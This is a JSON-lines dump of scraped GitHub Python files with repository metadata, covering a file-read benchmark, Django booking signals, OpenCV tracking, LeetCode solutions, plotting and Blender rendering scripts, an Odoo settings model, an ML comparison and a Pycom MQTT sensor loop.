+{"seq_id":"31183616867","text":"import os\nimport time\nimport argparse\nimport sys\nimport multiprocessing\n\ndef read_file(filename, k):\n start_time = time.time()\n # Read file content into memory\n with open(filename, 'rb') as file:\n content = file.read()\n file_size = sys.getsizeof(content)\n end_time = time.time()\n read_time = end_time - start_time\n print(f\"[process {k}] file [{os.path.basename(filename)}] read time: {read_time:.2f} seconds, size: {file_size / (1024*1024)} MB\")\n return read_time\n\ndef read_files_in_folder(folder_path, k, N):\n for filename in os.listdir(folder_path)[k::N]:\n full_filepath = os.path.join(folder_path, filename)\n if os.path.isfile(full_filepath):\n read_file(full_filepath, k)\n\nif __name__ == \"__main__\":\n # usage: python this.py --path /your/file/path --task numbers_of_processes\n\n parser = argparse.ArgumentParser(description='File Read Time Test')\n parser.add_argument('--path', type=str, help='Path of the file to read')\n parser.add_argument('--task', type=int, help='Numbers of processes')\n args = parser.parse_args()\n N = args.task\n folder_path = args.path\n\n processes = []\n for k in range(N):\n p = multiprocessing.Process(target=read_files_in_folder, args=(folder_path, k, N))\n processes.append(p)\n p.start()\n\n for p in processes:\n p.join()","repo_name":"TangJicheng123/tools","sub_path":"py/read_test.py","file_name":"read_test.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"22429342802","text":"from django.db.models.signals import post_save\nfrom datetime import datetime\nfrom django.db.models.signals import pre_delete\nfrom django.dispatch import receiver\nfrom django.contrib.auth.models import Group\n\nfrom prenotazioni.models import Cancellazione, Paglione, Prenotazione\n\n\n@receiver(pre_delete, sender=Prenotazione)\ndef send_notification(sender, instance, **kwargs):\n\n # se la prenotazione che si sta per cancellare è la prima in coda\n if instance.primo_priorità():\n prossimi = Prenotazione.objects.filter(ora_prenotata=instance.ora_prenotata,\n paglione=instance.paglione).order_by('priorità')\n # se nella coda esiste un secondo utente\n if len(prossimi) > 1:\n message = str(prossimi[1].utente) + \" ha ora accesso al paglione n.\" + str(\n instance.paglione.id) + \" alle ore \" + str(instance.ora_prenotata)\n message = \"Il paglione n.\" + str(\n instance.paglione.id) + \" che hai prenotato per l'ora \" + str(instance.ora_prenotata) + \" si è liberato !\"\n cancellazione = Cancellazione.objects.create(\n messaggio=message, utente=prossimi[1].utente, ora_creazione=datetime.now())\n cancellazione.save()\n\n\n@receiver(post_save, sender=Paglione)\ndef elimina_prenotazioni_paglione_non_attivo(sender, instance, **kwargs):\n if not instance.attivo:\n prenotazioni = instance.prenotazioni.all()\n # check per eliminare possibili prenotazioni di allievi collegate a quelle di maestri che si stanno ora cancellando\n for prenotazione in prenotazioni:\n if prenotazione.utente.groups.filter(name='Maestri').exists():\n prenotazioni_allievi = Prenotazione.objects.filter(\n ora_prenotata=prenotazione.ora_prenotata, utente__groups=Group.objects.get(name='Allievi'))\n prenotazioni_allievi.delete()\n prenotazioni.delete()\n","repo_name":"noceg43/tec-web","sub_path":"progetto/campo/prenotazioni/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"71122125330","text":"#!/usr/bin/env python\n\n'''\nWelcome to the Object Tracking Program!\n\nUsing real-time streaming video from your built-in webcam, this program:\n - Creates a bounding box around a moving object\n - Calculates the coordinates of the centroid of the object\n - Tracks the centroid of the object\n\nAuthor:\n - Addison Sears-Collins\n - https://automaticaddison.com\n'''\n\nfrom __future__ import print_function # Python 2/3 compatibility\nimport cv2 # Import the OpenCV library\nimport numpy as np # Import Numpy library\n\n# Project: Object Tracking\n# Author: Addison Sears-Collins\n# Website: https://automaticaddison.com\n# Date created: 06/13/2020\n# Python version: 3.7\n\ndef main():\n\n cap = cv2.VideoCapture(0) # Create a VideoCapture object\n\n # Create the background subtractor object. Use the last 700 video frames to build the background\n back_sub = cv2.createBackgroundSubtractorMOG2(history=700, varThreshold=25, detectShadows=True)\n\n # Create kernel for morphological operation.\n # You can tweak the dimensions of the kernel e.g. instead of 20,20 you can try 30,30.\n kernel = np.ones((20,20),np.uint8)\n\n while(True):\n\n ret, frame = cap.read() # Capture frame-by-frame. This method returns True/False as well as the video frame.\n print(ret,frame)\n\n # Find the index of the largest contour and draw bounding box\n fg_mask_bb = create_fg_mask(back_sub, frame, kernel)\n contours, hierarchy = cv2.findContours(fg_mask_bb,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)[-2:]\n areas = [cv2.contourArea(c) for c in contours]\n\n # If there are countours\n if len(areas) > 0:\n max_index = np.argmax(areas) # Find the largest moving object in the image\n cnt = contours[max_index]\n highlight_contour(cnt, frame)\n display_frame(frame)\n\n # Close down the video stream\n cap.release()\n cv2.destroyAllWindows()\n\n\ndef highlight_contour(cnt, frame):\n x, y, w, h = cv2.boundingRect(cnt)\n cx = x + int(w / 2)\n cy = y + int(h / 2)\n draw_bounding_box(frame, h, w, x, y)\n draw_circle_in_box(cx, cy, frame)\n print_coordinates(cx, cy, frame)\n\ndef draw_bounding_box(frame, h, w, x, y):\n cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 3)\n\ndef display_frame(frame):\n cv2.imshow('frame', frame)\n cv2.waitKey(1)\n\ndef create_fg_mask(back_sub, frame, kernel):\n fg_mask = back_sub.apply(frame) # Use every frame to calculate the foreground mask and update the background\n fg_mask = cv2.morphologyEx(fg_mask, cv2.MORPH_CLOSE, kernel) # Close dark gaps in foreground object using closing\n fg_mask = cv2.medianBlur(fg_mask, 5) # Remove salt and pepper noise with a median filter\n _, fg_mask = cv2.threshold(fg_mask, 127, 255, cv2.THRESH_BINARY) # Threshold the image to make it either black or white\n return fg_mask\n\n\n# Print the centroid coordinates (we'll use the center of the bounding box) on the image\ndef print_coordinates(cx, cy, frame):\n text = \"x: \" + str(cx) + \", y: \" + str(cy)\n cv2.putText(frame, text, (cx - 10, cy - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 2)\n\n\n# Draw circle in the center of the bounding box\ndef draw_circle_in_box(cx, cy, frame):\n cv2.circle(frame, (cx, cy), 4, (0, 255, 0), -1)\n\n\nif __name__ == '__main__':\n print(__doc__)\n main()\n","repo_name":"curtcox/opencv-experiments","sub_path":"tracking.py","file_name":"tracking.py","file_ext":"py","file_size_in_byte":3377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"26789800380","text":"# https://leetcode.com/problems/number-of-longest-increasing-subsequence/\n# https://www.youtube.com/watch?v=Tuc-rjJbsXU&list=PLot-Xpze53lcvx_tjrr_m2lgD2NsRHlNO&index=42\n\n# My Solution with DP : \n\nclass Solution:\n def findNumberOfLIS(self, nums: List[int]) -> int:\n dp = {}\n a = [1] * (len(nums))\n def recurse(i):\n if i>=len(nums):\n return 0\n if i in dp:\n return dp[i]\n \n Max = 1\n count = 1\n for j in range(i+1,len(nums)):\n if nums[i] < nums[j]:\n temp = 1 + recurse(j)\n if temp == Max:\n count += a[j]\n if temp > Max:\n Max = temp\n count = a[j]\n \n a[i] = count\n dp[i] = Max\n return dp[i]\n \n for i in range(len(nums)):\n recurse(i)\n \n b = []\n MaxLength = max(dp.values())\n for i,j in dp.items():\n if j == MaxLength:\n b.append(i)\n count = 0\n for i in b:\n count += a[i]\n return count\n \n# Solution with DP : \nclass Solution:\n def findNumberOfLIS(self, nums: List[int]) -> int:\n # 1. O(n^2) Recursive solution with Caching\n \n dp = {} # key = index, value = [length of LIS, count]\n lenLIS, res = 0, 0 # length of LIS, count of LIS\n \n def dfs(i):\n if i in dp: return dp[i]\n \n maxLen, maxCnt = 1, 1 # length and count of LIS\n for j in range(i + 1, len(nums)):\n if nums[j] > nums[i]: # make sure increasing order\n length, count = dfs(j)\n if length + 1 > maxLen:\n maxLen, maxCnt = length + 1, count\n elif length + 1 == maxLen:\n maxCnt += count \n nonlocal lenLIS, res\n if maxLen > lenLIS:\n lenLIS, res = maxLen, maxCnt\n elif maxLen == lenLIS:\n res += maxCnt\n dp[i] = [maxLen, maxCnt]\n return dp[i]\n\n for i in range(len(nums)): dfs(i)\n return res\n\n# Solution with pure DP : \nclass Solution:\n def findNumberOfLIS(self, nums: List[int]) -> int:\n # 2. O(n^2) Dynamic Programming \n \n dp = {} # key = index, value = [length of LIS, count]\n lenLIS, res = 0, 0 # length of LIS, count of LIS\n \n # i = start of subseq\n for i in range(len(nums) - 1, -1, -1):\n maxLen, maxCnt = 1, 1 # len, cnt of LIS start from i\n \n for j in range(i + 1, len(nums)):\n if nums[j] > nums[i]:\n length, count = dp[j] # len, cnt of LIS start from j\n if length + 1 > maxLen:\n maxLen, maxCnt = length + 1, count\n elif length + 1 == maxLen:\n maxCnt += count\n if maxLen > lenLIS:\n lenLIS, res = maxLen, maxCnt\n elif maxLen == lenLIS:\n res += maxCnt\n dp[i] = [maxLen, maxCnt]\n \n return res","repo_name":"OnkarNora/Dynamic-Programming-Leetcode","sub_path":"673-Number_Of_Longest_Increasing_Subsequences.py","file_name":"673-Number_Of_Longest_Increasing_Subsequences.py","file_ext":"py","file_size_in_byte":3263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"16012614043","text":"#!/usr/bin/python\nif __name__ == '__main__':\n import tdc_vis\n\nimport os\n\nfrom ATvis.Common_Data_Plot import *\n\nfrom Auxiliary import *\nfrom Common_Data_Plot import *\nfrom x_PlottingFunctions import *\nfrom Movie import Movie_Interface_Selector\n\n\n\n# ============================================================\n# Figure Style Parameters\n# ============================================================\nfig_param = paramSingleFig_Presentation\n## fig_param = None\n\n\n# ============================================================\n# Directory\n# ============================================================\n# tdc_Filenames.set_results_dir('../RESULTS/WD')\ntdc_Filenames.set_results_dir('../RESULTS/WD/RS')\n## tdc_Filenames.set_results_dir('../RESULTS/WD/RS_2')\ntdc_Filenames.set_results_dir('../RESULTS/WD/TDC_Presentation')\n\n\ntdc_Filenames.set_vis_results_dir('../RESULTS_VIS/TDC_Presentation')\n\n# ============================================================\n# IDs \n# ============================================================\n# ID=['RS__R6_jp0.5_P0.2_L0.3_nGJ5e4_nx5e3_dt2e-5_sU']\n\nID=['RS__R6_jp0.5_P0.2_L0.3_nGJ5e4_nx5e3_dt2e-5_sU__wave']\n\n\n# ============================================================\n# plot limits:\n# ============================================================\nxlims = [[-0.005,0.305],[-0.005,0.305]]\n\nylims_xp_e = [[-5e8,5e8],[-.15,0.32]]\n\n\naxes_commands_xp = [['set_yticks([-1e8,-1e4,0,1e4,1e8])',\n 'set_xticks([0,0.1,0.2, 0.3])',\n 'xaxis.set_ticklabels([])'],\n ['set_yticks([0,0.2])',\n 'set_yticks([-0.1,0.1,0.3],minor=True)',\n 'set_xticks([0,0.1,0.2, 0.3])']]\n## axes_commands_xp = None\n# ----------------------------------------\n\n\n\nsample_dict = dict(name='regular',n_reduce=1,n_min=1000)\n## sample_dict = dict(name='regular',n_reduce=20,n_min=3000)\n\nparticle_names = ['Positrons','Electrons','Pairs']\n\nsymlog=True\nlinthreshy=5\n\ntt = None\ntt = [12.253,12.633]\n\nfps = 24\nkeep_frame_files=True\n\nuse_cell_coordinates=False\nshow_cells=False\nghost_points=False\n\n# moving_grid_dict = None\nmoving_grid_dict = dict(n_lines=20, speed=1)\n# ==================\n\n\n\ndef do_movie(ID):\n # select interface\n interface = Movie_Interface_Selector()\n \n tdc_plot_wave_xp_e_movie(interface.movie_module,\n ID,\n particle_names,\n ylims=ylims_xp_e,\n xlims=xlims,\n sample_dict=sample_dict,\n tt=tt,\n fps=fps,\n keep_frame_files=keep_frame_files,\n use_cell_coordinates=use_cell_coordinates,\n show_cells=show_cells,\n moving_grid_dict=moving_grid_dict,\n symlog=symlog,\n linthreshy=linthreshy,\n axes_commands = axes_commands_xp,\n xlabel=None,ylabel=None,idlabel=None,\n fig_param = fig_param,\n plot_style={'linewidth':2})\n\n \nif __name__ == \"__main__\":\n do_movie(ID)\n","repo_name":"atimokhin/tdc_vis","sub_path":"_working/rs/make_movie_wave.py","file_name":"make_movie_wave.py","file_ext":"py","file_size_in_byte":3276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"33511588516","text":"from odoo import api, fields, models\n\n\nclass HrLeaveConfigSettings(models.TransientModel):\n _inherit = 'res.config.settings'\n\n alias_prefix = fields.Char(string='Default Alias Name for Leave', help='Default Alias Name for Leave')\n alias_domain = fields.Char(string='Alias Domain', help='Default Alias Domain for Leave',\n default=lambda self: self.env[\"ir.config_parameter\"].get_param(\"mail.catchall.domain\"))\n\n def set_values(self):\n super(HrLeaveConfigSettings, self).set_values()\n set_param = self.env['ir.config_parameter'].set_param\n set_param('alias_prefix', self.alias_prefix)\n set_param('alias_domain', self.alias_domain )\n\n @api.model\n def get_values(self):\n res = super(HrLeaveConfigSettings, self).get_values()\n get_param = self.env['ir.config_parameter'].sudo().get_param\n res.update(\n alias_prefix=get_param('alias_prefix', default=''),\n alias_domain=get_param('alias_domain', default=''),\n )\n return res\n\n","repo_name":"cybergate-services/cybererp","sub_path":"custom-addons/hr_leave_request_aliasing/models/res_config.py","file_name":"res_config.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"66"}
+{"seq_id":"38218077079","text":"\"\"\"\nGiven an array of size n, find the majority element. The majority element is the element that appears more than ⌊ n/2 ⌋ times.\n\nYou may assume that the array is non-empty and the majority element always exist in the array.\n\nSolutions:\n\n1. Dictionary\nCreate a dict with number as key and count as value\nStore the max(d.values()) in a var\nIterate over the dict and return the key, if d[key] == max(d.values())\n\n2. Using count keyword - but this would lead to time limit exceeded error if the array is really huge\n\n3. No extra space 0(n) time \nHave 2 variables, major and count = 0.\nIterate over the list. We know that majority element will be present more than 50% times in the array.\nIf count == 0, then set majority element as current num\nelse if count >0 and if current num != majority element, decrement count\nelse, increment count\n\n4. Got few more ideas from here:\nhttps://discuss.leetcode.com/topic/17446/6-suggested-solutions-in-c-with-explanations/2\n\n\"\"\"\n\nclass Solution(object):\n def majorityElement(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n \n count = 0\n for num in nums:\n if not count:\n major = num\n count += 1\n \n elif count > 0 and num != major:\n count -= 1\n \n else:\n count += 1\n \n return major\n \n \n \"\"\"\n d = {}\n \n for i in nums:\n if i not in d:\n d[i] = 1\n else:\n d[i] += 1\n \n count = max(d.values())\n for k,v in d.items():\n if d[k] == count:\n return k\n \"\"\"\n \n \"\"\" \n # Solution 2\n\n for num in nums:\n if nums.count(num) > len(nums)/2:\n return num\n \"\"\"","repo_name":"sjayster/Leetcode","sub_path":"majority-element.py","file_name":"majority-element.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"36119226096","text":"from models.detalle_orden import Detalle_Orden\nfrom models.producto import Producto\nfrom models.orden import Orden\n\nclass Detalle_Orden_Controller(Orden):\n def __init__(self):\n self.detalle_orden = Detalle_Orden()\n self.producto = Producto()\n self.orden = Orden()\n self.close = False\n\n def read_products(self):\n productos = self.producto.read_products()\n\n if productos:\n print(\"ID PRODUCTO NOMBRE PRODUCTO MARCA DESCRIPCION PRECIO\")\n print(\"-------------------------------------------------------------------------------\")\n for i in productos:\n print(f\"{i[0]}\\t {i[1].ljust(20)}{i[2].ljust(16)}{i[3].ljust(20)}{i[4]}\")\n\n \n def detail_order(self,id_orden,id_producto,cantidad_producto,total_producto,total):\n detail_order = self.detalle_orden.read_detail_order()\n\n if detail_order:\n print(\"\\n\")\n print(\"\\nID ORDEN ID PRODUCTO ID CLIENTE CANT. PRODUCTO TOTAL POR PRODUCTO STATUS FECHA TOTAL\")\n print(\"---------------------------------------------------------------------------------------------------------------------------------------\")\n for i in detail_order:\n print(f\"{i[0]}\\t {i[1]}\\t {i[2]}\\t {i[3]}\\t {i[4]}\\t {i[5]}\\t {i[6]}\\t{i[4]}\")\n print(\"---------------------------------------------------------------------------------------------------------------------------------------\")\n print(\"TOTAL PAGAR: \",total)\n\n def create_detail_order(self,id_orden,id_producto,cantidad_producto,total_producto,total):\n self.detalle_orden.id_orden = id_orden\n self.detalle_orden.id_producto = id_producto\n self.detalle_orden.cantidad_producto = cantidad_producto\n self.detalle_orden.total_producto = total_producto\n\n self.detalle_orden.create_a_details_order()\n self.detail_order(id_orden,id_producto,cantidad_producto,total_producto,total)\n \"\"\"productos = self.producto.read_products()\n print(id_orden)\n self.detalle_orden.id_orden = id_orden\n total_producto = 0.0\n if type(id_orden) == int:\n id_producto = ' '\n while id_producto != '':\n id_producto = int(input(\"Elija producto por su ID: \"))\n self.detalle_orden.id_producto = id_producto\n for i in productos:\n if i[0] == id_producto:\n precio = i[4]\n cantidad_producto = int(input(\"Ingrese cantidad: \"))\n self.detalle_orden.cantidad_producto = cantidad_producto\n\n precio_cantidad = precio * cantidad_producto\n total_producto = precio_cantidad \n\n self.detalle_orden.total_producto = total_producto\n \n respuesta = input(\"Seguira ingresando mas productos? Y/N:\")\n if respuesta == 'Y' or respuesta == 'y':\n self.detalle_orden.create_a_details_order()\n pass\n elif respuesta == 'N' or respuesta == 'n':\n self.detalle_orden.create_a_details_order()\n self.detail_order(total)\n \"self.detalle_orden.update_a_details_order()\"\n break \n else:\n print(\"No se pudo crear orden. Revisa.\")\n\"\"\"","repo_name":"mariotorres94/Hackaton---7","sub_path":"controller/detalle_orden_controller.py","file_name":"detalle_orden_controller.py","file_ext":"py","file_size_in_byte":3635,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"1373857316","text":"import bpy\n# import rosbag\nimport os\nimport glob\nimport numpy as np\nimport pandas as pd\nimport time\nimport cv2\nimport matplotlib.pyplot as plt \n\nfrom geometry_msgs.msg import PoseStamped, Pose\n\n# Define vertices and faces\nverts = [(0, 0, 0), (0, 5, 0), (5, 5, 0), (5, 0, 0)]\nfaces = [(0, 1, 2, 3)]\n\nMAP_NAME = 'flat'\n\nMAP_KEY = 'Grid'\nMAP_PATH = '/home/francesco/Documents/Master-Thesis/core/maps/{}.png'.format(MAP_NAME)\nTEX_NAME = 'Texture'\nMAT_NAME = 'Mat'\n\nbpy.context.scene.unit_settings.system = 'METRIC'\nbpy.context.scene.render.engine = 'CYCLES'\n# bpy.context.scene.cycles.feature_set = 'EXPERIMENTAL'\n# bpy.context.scene.cycles.device = 'GPU'\n\ntop_cam = bpy.data.cameras.new(\"Camera\")\ntop_cam_ob = bpy.data.objects.new(\"Camera\", top_cam)\nbpy.context.scene.objects.link(top_cam_ob)\n\ntop_cam_ob.location = [0,0,15]\ntop_cam_ob.rotation_euler = [0,0,0]\n\nbpy.context.scene.camera = top_cam_ob\n\nprint(list(bpy.data.objects))\nkrock = bpy.data.objects['krock']\nkrock.name = 'krock'\nkrock.scale = [0.2, 0.2, 0.2]\n\n\n\nif MAP_KEY not in bpy.data.objects:\n bpy.ops.mesh.primitive_grid_add(x_subdivisions=513, y_subdivisions=513)\n\nlamp = bpy.data.lamps['Lamp'].type = 'HEMI'\n\nmap = bpy.data.objects[MAP_KEY]\nimage = cv2.imread(MAP_PATH)\nimage = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\nif image.dtype == 'uint8':\n image = image / 256.\nif image.dtype == 'uint16':\n image = image / 65536.\nif image.dtype == 'uint32':\n image = image / 4294967296.\n\nprint(np.max(image))\nmap.location = [map.location[0], map.location[1], map.location[2] - np.max(image)]\n\nscale = (513 * 0.02) / 2\n\nmap.scale = (scale, scale, scale)\nmap.location = [map.location[0], map.location[1], map.location[2]]\n# map.rotation_euler = [0,0, np.radians(90)]\n# create texture\ntex = bpy.data.textures.new(TEX_NAME, 'IMAGE')\nimage = bpy.data.images.load(MAP_PATH)\ntex.image = image\n\nmaterial = bpy.data.materials.new(MAT_NAME)\n# add texture to material\nslot = bpy.data.materials[MAT_NAME].texture_slots.add()\nslot.texture = tex\nbpy.data.materials[MAT_NAME].active_texture = tex\n# create modifier\nmod = map.modifiers.new(\"disp\", 'DISPLACE')\nmod.texture = tex\nmod.mid_level = 0\n\nmat = bpy.data.materials.new('bricks')\n\nmap.data.materials.append(mat)\nmat.use_nodes = True\n\n# create the texture node\ntree = mat.node_tree\n\nlinks = tree.links\ntext_brick = tree.nodes.new(type='ShaderNodeTexBrick')\n\ntext_brick.offset = 0\n\ntext_brick.inputs[1].default_value = [0.471, 0.643, 0.694, 1]\ntext_brick.inputs[2].default_value = [0.471, 0.643, 0.694, 1]\ntext_brick.inputs[3].default_value = [1, 1, 1, 1]\n\ntext_brick.inputs[4].default_value = 1.0\ntext_brick.inputs[5].default_value = 0.0005\ntext_brick.inputs[6].default_value = 0\ntext_brick.inputs[8].default_value = 0.01\ntext_brick.inputs[9].default_value = 0.01\n\ndiff = tree.nodes['Diffuse BSDF']\n# connect to our material\nlinks.new(text_brick.outputs[0], diff.inputs[0])\n\n# bpy.ops.object.modifier_add(type=\"DISPLACE\")\n\ncamera = bpy.data.objects['Camera']\n\nBAG_FOLDER = '/home/francesco/Desktop/carino/vaevictis/data/dataset/'\nfiles = glob.glob(BAG_FOLDER + '/{}/*.csv'.format(MAP_NAME))\n\ndef msg2pose(msg):\n position = msg.pose.position\n orientation = msg.pose.orientation\n\n return [[position.x, position.y, position.z],\n [orientation.w, orientation.x, orientation.y, orientation.z]]\n\ndef bag2pose(file_path):\n bag = rosbag.Bag(file_path)\n for i, (topic, msg, t) in enumerate(bag.read_messages(topics=['pose'])):\n yield msg2pose(msg)\n\ndef csv2pose(file_path):\n df = pd.read_csv(file_path)\n for index, row in df.iterrows():\n position = row['pose__pose_position_x'], row['pose__pose_position_y'], row['pose__pose_position_z']\n orientation = row['pose__pose_orientation_x'], row['pose__pose_orientation_y'], row['pose__pose_orientation_z'], row['pose__pose_orientation_w']\n advancement = row['advancement']\n\n advancement = np.clip(advancement, 0, 0.16)\n\n yield position, orientation, advancement/ 0.16\n\ndef pose(file_path):\n filename, file_extension = os.path.splitext(file_path)\n if file_extension == '.bag':\n pose = bag2pose(file_path)\n elif file_extension == '.csv':\n pose = csv2pose(file_path)\n return pose\n\ncamera = bpy.data.cameras['Camera']\ncamera.lens_unit = 'FOV'\ncamera.angle = 1.05\n\nscene = bpy.context.scene\n\nscene.cycles.samples = 32\nscene.render.resolution_x = 640\nscene.render.resolution_y = 480\ncamera = bpy.data.objects['Camera']\n\ncamera.parent = krock\n\nprint(files[0])\nframe_idx = 0\nskip = 10\n\nbpy.context.scene.objects.active = krock\n\nkrock_mat = krock.data.materials[0]\nkrock_mat.use_nodes = True\ntree = krock_mat.node_tree\nlinks = tree.links\n# text_brick = tree.nodes.new(type='DiffuseBSDF')\ndiff = tree.nodes['Diffuse BSDF']\n# connect to our material\n\n\ncmap = plt.cm.get_cmap('Spectral')\n\nfor file in files:\n for i, (position, orientation, advancement) in enumerate(pose(file)):\n if i % skip == 0:\n krock.location = position\n krock.rotation_quaternion = orientation\n # print(advancement)\n diff.inputs[0].default_value = cmap(advancement)\n diff.inputs[0].keyframe_insert(data_path=\"default_value\", frame=frame_idx)\n krock.keyframe_insert(data_path=\"location\", frame=frame_idx)\n frame_idx += 1\n\n # print(position, orientation)\n \n # time.sleep(1)\n # break\n # bpy.context.scene.render.filepath = \"/home/francesco/Desktop/diocane/{}.jpg\".format(i)\n # bpy.ops.render.render(use_viewport = True, write_still=True)\n\nbpy.context.scene.render.image_settings.file_format='JPEG'\n\nbpy.context.scene.render(animation=True)\n# bpy.context.scene.render.filepath = \"/home/francesco/Desktop/diocane/{}.jpg\".format(i)\n\n\n# camera.parent = krock\n\n# krock.location = [1.0, 0.33, -0.165]\n# krock.rotation_mode = 'QUATERNION'\n# krock.rotation_quaternion = [0.98, 0.14, -0.0, -0.03]\n\n# camera.location = [0.16, 0, 0]","repo_name":"FrancescoSaverioZuppichini/Master-Thesis","sub_path":"core/blender/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5949,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"20309251509","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 17 16:36:49 2023\n\n@author: chaol\n\nNOTE: \n GLOBAL_VARIABLE\n local_variable\n functionToRun\n Function_Input_Or_Ouput_Variable\n \n\"\"\"\n\nimport pandas as pd\nimport numpy as np\n\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.model_selection import train_test_split\n\ndef runLocallyOrRemotely():\n locally_or_remotely = input(\"Run the code locally? [y/n/wsl]:\")\n if locally_or_remotely == 'y':\n repo_location = \"D:/OneDrive - Kyushu University/15_Article/03_RStudio/\"\n repo_result_location = \"D:/OneDrive - Kyushu University/15_Article/03_RStudio/07_PyResults/\"\n elif locally_or_remotely == 'n':\n repo_location = \"/home/usr6/q70176a/DP15/\"\n repo_result_location = \"/home/usr6/q70176a/DP15/03_Results/\"\n elif locally_or_remotely == 'wsl':\n repo_location = \"/mnt/d/OneDrive - Kyushu University/15_Article/03_RStudio/\"\n repo_result_location = \"/mnt/d/OneDrive - Kyushu University/15_Article/03_RStudio/07_PyResults/\"\n return repo_location, repo_result_location\n\n# update 2023.1.30\ndef getXandY(Output_Vari):\n y = pd.read_csv(REPO_LOCATION + \"01_Data/10_y_\" + Output_Vari + \"_29IndVar.csv\", index_col=0)\n y = y.iloc[:,0].to_numpy().astype('int')\n X = pd.read_csv(REPO_LOCATION + \"01_Data/09_X_\" + Output_Vari + \"_29IndVar.csv\", index_col=0)\n return X, y\n\nREPO_LOCATION, REPO_RESULT_LOCATION = runLocallyOrRemotely()\nX, y = getXandY(\"LSoverall\")\n\n\nmodel_cls = RandomForestRegressor(n_estimators=1000, random_state=1,\n n_jobs = -1, oob_score = True) \nmodel_cls.fit(X, y)\nprint(model_cls.oob_score_)\n\nmodel_reg = RandomForestRegressor(n_estimators=1000, random_state=1,\n n_jobs = -1, oob_score = True) \nmodel_reg.fit(X, y)\nprint(model_reg.oob_score_)\n\n\"\"\"\nThis script is to confirm whether cls is better than reg.\nRESULT reg is better\n\"\"\"","repo_name":"MichaelChaoLi-cpu/Greenness_NighttimeLight_WB","sub_path":"06_PyCode/09_TE_CompareClsReg_v1.py","file_name":"09_TE_CompareClsReg_v1.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"69843060371","text":"#import os\n#import socket\n#import SSD1306\n#from machine import ADC\n#from machine import Pin, I2C\nimport time\nimport machine\nimport pycom\nfrom pycoproc_2 import Pycoproc\nfrom mqtt import MQTTClient_lib as MQTTClient\nfrom network import WLAN\nfrom SI7006A20 import SI7006A20\nfrom MPL3115A2 import MPL3115A2,ALTITUDE,PRESSURE\n\n\n\npycom.heartbeat(False)\npycom.rgbled(0xA0009)\nOLED_WIDTH = 128\nOLED_HEIGHT = 64\npy = Pycoproc()\n\nif wlan.isconnected():\n pycom.rgbled(0x000F00)\nelse:\n pycom.rgbled(0x0F000)\n\n\"\"\"\n#I2C\ni2c = I2C(0)\ni2c = I2C(0, I2C.MASTER)\ni2c = I2C(0, pins=('P9','P10')) # create and use default PIN assignments (P9=SDA, P10=SCL)\ni2c.init(I2C.MASTER, baudrate=10000) # init as a master\n\"\"\"\n\n#Internal temp\nsi = SI7006A20(py)\nmp = MPL3115A2(py,mode=ALTITUDE) # Returns height in meters. Mode may also be set to PRESSURE, returning a value in Pascals\nmpp = MPL3115A2(py,mode=PRESSURE) # Returns pressure in Pa. Mode may also be set to ALTITUDE, returning a value in meters\n\n\n#MQTT\ndef sub_cb(topic, msg):\n print(msg)\n\nclient = MQTTClient(\"sensor\", \"192.168.10.30\", port=1883, keepalive=300)\nclient.set_callback(sub_cb)\nclient.connect()\n\n\n\"\"\"\n#initalize the ssd1306 oled screen\noled = SSD1306.SSD1306_I2C(OLED_WIDTH, OLED_HEIGHT, i2c)\nblack = 0x000000 # black color\n\n# draw a black rectangle as a way to clear the screen\ndef clear_oled(oled):\n oled.fill_rect(0,0,OLED_WIDTH,OLED_HEIGHT,black)\n\"\"\"\n\nwhile True:\n temperature = si.temperature()\n altitude = mp.altitude()\n pressure = mpp.pressure()\n humidity = si.humidity()\n dew_point = si.dew_point()\n battery_left = py.read_battery_voltage()\n client.publish(topic=\"Temperature\", msg=str(temperature))\n client.publish(topic=\"Altitude\", msg=str(altitude))\n client.publish(topic=\"Pressure\", msg=str(pressure))\n client.publish(topic=\"humidity\", msg=str(humidity))\n client.publish(topic=\"Dew_point\", msg=str(dew_point))\n client.publish(topic=\"Battery\", msg=str(battery_left))\n time.sleep(300)\n\n #time.sleep(5)\n #clear_oled(oled)\n #oled.text(str(celcius), 0, 0)\n #oled.show()\n #clear_oled(oled)\n","repo_name":"granback/IoT","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
